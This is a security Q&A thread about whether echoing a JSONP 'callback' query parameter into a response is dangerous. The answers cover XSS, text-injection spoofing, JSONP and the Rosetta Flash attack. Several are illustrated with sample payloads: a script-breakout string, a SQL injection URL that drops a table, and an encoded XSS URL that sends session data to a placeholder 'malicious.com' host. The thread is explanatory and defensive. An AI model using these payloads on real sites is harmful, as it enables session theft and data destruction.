Does injecting querystring values directly into HTML pose a security risk?

Question

Someone reported a bug on my site that I don't really consider an issue. My site has an URL akin to this:

www.site.com/ajax/ads.asp?callback=[text injection]

So filetype is application/json, and I don't see how that can affect security of site.

His point of contention was that it can bypass crossdomain.xml if someone visits page with this in it:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

I did a search for this but couldn't really find any information that says what he is saying is true. I need someone to tell me how serious this is, if I really need to go through my scripts to fix every instance of this bug.

Answer 1

Plaintext injection is an issue. Say you have a page template that looks like this:

Hi <name>,

Blah blah blah.

And you can inject from the URL.

An attacker can construct an email with a link to www.example.com/ajax/ads.asp?name=Foo%2C+you+have+the+wrong+version+Flash+plugin%2C+our+company+policy+requires+that+you+use+version+vul.ne.rabl.e.%0D%0A%0D%0AHi%020Foo (which could also be minified).

This will make your page look like:

Hi Foo, you have the wrong version Flash plugin, our company policy requires that you use version vul.ne.rabl.e.

Hi Foo,

Blah blah blah.

The message looks like it comes from your site, and since your users trusts your site, they will likely believe the instructions that "you" have given.

Answer 2

Cross site scripting is not a threat to the integrity of your web server. Rather, the problem is that an attacker can craft a site.com URL that will execute arbitrary JavaScript. If your users trust your site and allow it to do whatever it wants, this could be a major security hole.

Answer 3

Imagine if the injected text was:

"></script><script>alert("hi");"

which would make it look like this:

<script src="http://www.site.com/ajax/ads.asp?callback="></script><script>alert("hi");""></script>

Then, you have a working custom script that can do anything it wants in the page.

Answer 4

His point of contention was that it can bypass crossdomain policies if someone visits page with this in it:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

Yes, he's right. But that doesn't seem to be a security hole, instead, it looks like a feature. This technique of circumventing the same-origin-policy is called JSONP (and is very well documented).

However, there are some catches:

• The correct content-type for JSONP responses is application/javascript, as they are executable scripts. It's no longer plain JSON.
• If you don't know of JSONP or how it works, it's suspicious that you're using it. Whether this is a serious bug depends on what you are using it for:
• JSONP can be exploited, as this is its nature. Make sure that you are not sending any confidential data, only such information that you want to be publicly accessible.
  Make sure to treat any requests for JSONP resources as if they had no credentials.

Answer 5

There is an attack that uses this exact attack vector, called Rosetta Flash (CVE-2014-4671).

As explained on the Rosetta Flash page, the vulnerability is that:

1. With Flash, a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it, with no crossdomain.xml check. This is why allowing users to upload a SWF file on a sensitive domain is dangerous: by uploading a carefully crafted SWF, an attacker can make the victim perform requests that have side effects and exfiltrate sensitive data to an external, attacker-controlled, domain.

2. JSONP, by design, allows an attacker to control the first bytes of the output of an endpoint by specifying the callback parameter in the request URL.

3. SWF files can be embedded on an attacker-controlled domain using a Content-Type forcing <object> tag, and will be executed as Flash as long as the content looks like a valid Flash file.

This specific vulnerability has been mitigated by an update to Flash Player, but older versions are still vulnerable, and this same technique could conceivably be used to attack other systems.

Generalizing from this specific vulnerability: whenever possible it is best to not allow an attacker to control the first few bytes of any response you send, since that is the part "helpfully" used by browsers and other clients to sniff your content type, and browsers have been known to override Content-Type headers based on sniffed content in the past.

Answer 6

I think OP is focusing on the wrong place by looking at the URL. All GET and POST parameters can be abused, regardless of what they're called. The only relevant code is that which uses this parameter.

For example, you can have an SQL injection vulnerability if you concatenate this parameter on to an SQL query:

db_query("SELECT code FROM callbacks WHERE id = " + param("callback"))

A user could visit:

www.site.com/ajax/ads.asp?callback=0;DROP+users

You have an XSS vulnerability if you're doing something like:

return new Response("Hello " + param("callback"))

A user could visit:

www.site.com/ajax/ads.asp?callback=%3Cscript%3EaddToDom(%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3Fdata%3D%27%2BharvestSessionData()%2B%27%22%2F%3E%27)%3C%2Fscript%3E

These are all variations on the same theme: treating all languages as strings, which allows them to be mixed. Other examples are shell injection, eval-based code injection, breaking out of "quotations", etc.

You can also defer these same vulnerabilities if you store the parameter somewhere:

// Escape the parameter when we use it in our SQL
db_query('INSERT INTO callbacks (:cb)', {'cb': param('callback')})

// But suffer the same problems in a later request
return new Response("Our callbacks include " + db_query("SELECT * FROM callbacks").join(", "))